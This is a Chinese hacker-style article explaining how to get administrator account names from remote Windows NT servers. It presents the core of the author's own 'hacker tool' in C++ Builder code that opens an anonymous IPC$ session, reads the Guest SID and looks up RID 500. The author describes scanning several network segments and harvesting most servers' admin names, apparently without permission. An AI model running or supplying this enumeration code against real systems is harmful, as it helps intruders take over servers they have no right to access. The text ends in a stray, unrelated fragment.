获取远程NT Server用户的原理及实现方法:
作者:病毒
记得前些日子说XX黑客软件,增加了“恐怖”功能,可以轻而一举的
获得管理权限,为了维护大多数网站利益,作者推迟了新版发布时间。
刚接到消息,马上就跑到先关站点。刚看第一行不禁笑出声来。。呵呵
虽然这些黑客软件,没有说明功能原理,但对有网络编程经验的朋友一眼
便可看出其中出处。其实所谓“恐怖”功能就是利用了NT中Advapi32.dll
里特有的一系列API函数。其实这不是什么新鲜东西,此类程序我很早就
写过。不明白为啥要这样炒做?看过后不以为然。就没把他放在心上。
直到最近见了一些列子,让我觉得...我又找出了以前写的工具,分别对
几个网段进行了扫描,结果让我吃惊!!!居然举出了多半数服务器的
系统管理员名,这下才明白为什么那些黑客工具称为“恐怖”功能。
与其说功能“恐怖”到不如说管理员素质低的让人“恐怖”。为了让大家
深入了解,下面就以俺写的这个“黑客工具”的核心部分为列,说一下实现过程。 //..定义变量略
cbDomainName=255;
cbSid=255;
sprintf(netBuf,"\\\\%s\\ipc$",Form1->Edit1->Text.c_str());
sprintf(netNB,"\\\\%s",Form1->Edit1->Text.c_str());
netr.dwScope=RESOURCE_GLOBALNET;
netr.dwType=RESOURCETYPE_ANY;
netr.lpLocalName="";
netr.lpRemoteName=netBuf;
netr.lpProvider=NULL;
dwResult=WNetAddConnection2(&netr,"","",NULL);
//首先用WNetAddConnection2以空(IPC$)方式连接服务器。
if(dwResult==NO_ERROR)
{
if(LookupAccountName(netNB,"Guest",Sid,&cbSid,DomainName,&cbDomainName,&peUse))
//然后以LookupAccountName用一个系统和帐户名称作为输入,得到域名
{
Form1->ListBox1->Items->Add("域名: "+String(netBuf));
SidIdentify=GetSidIdentifierAuthority(Sid);
//接着用GetSidIdentifierAuthority返回一个指定的安全标识符结构
SidSubCount=*GetSidSubAuthorityCount(Sid);
//再用GetSidSubAuthorityCount返回指定安全标识符结构中指定的子权限的地址
StoreCount=SidSubCount;
for(i=0;i<=StoreCount-1;i++)
{
dwTemp=*GetSidSubAuthority(Sid,i);//接着用GetSidSubAuthority函数返回数组地址
storeSIDsub[i]=dwTemp;
}
cbDomainName=255;
cbAccountBuff=255;
storeSIDsub[StoreCount-1]=500;
if(AllocateAndInitializeSid(SidIdentify,SidSubCount,storeSIDsub[0],storeSIDsub[1],
storeSIDsub[2],storeSIDsub[3],storeSIDsub[4],storeSIDsub[5],
storeSIDsub[6],storeSIDsub[7],&newSid))
//再用AllocateAndInitializeSid将八个子权限分配初始化这个安全标识符
{
if(LookupAccountSid(netNB,newSid,AccountBuff,&cbAccountBuff,DomainName,&cbDomainName,&peUse))
//最后用LookupAccountSid接受一个安全标识符作为输入即可得到用户名。
{
Form1->ListBox1->Items->Add("用户名称: "+String(AccountBuff));
}
}
//..枚举过程略
------------------
大家好,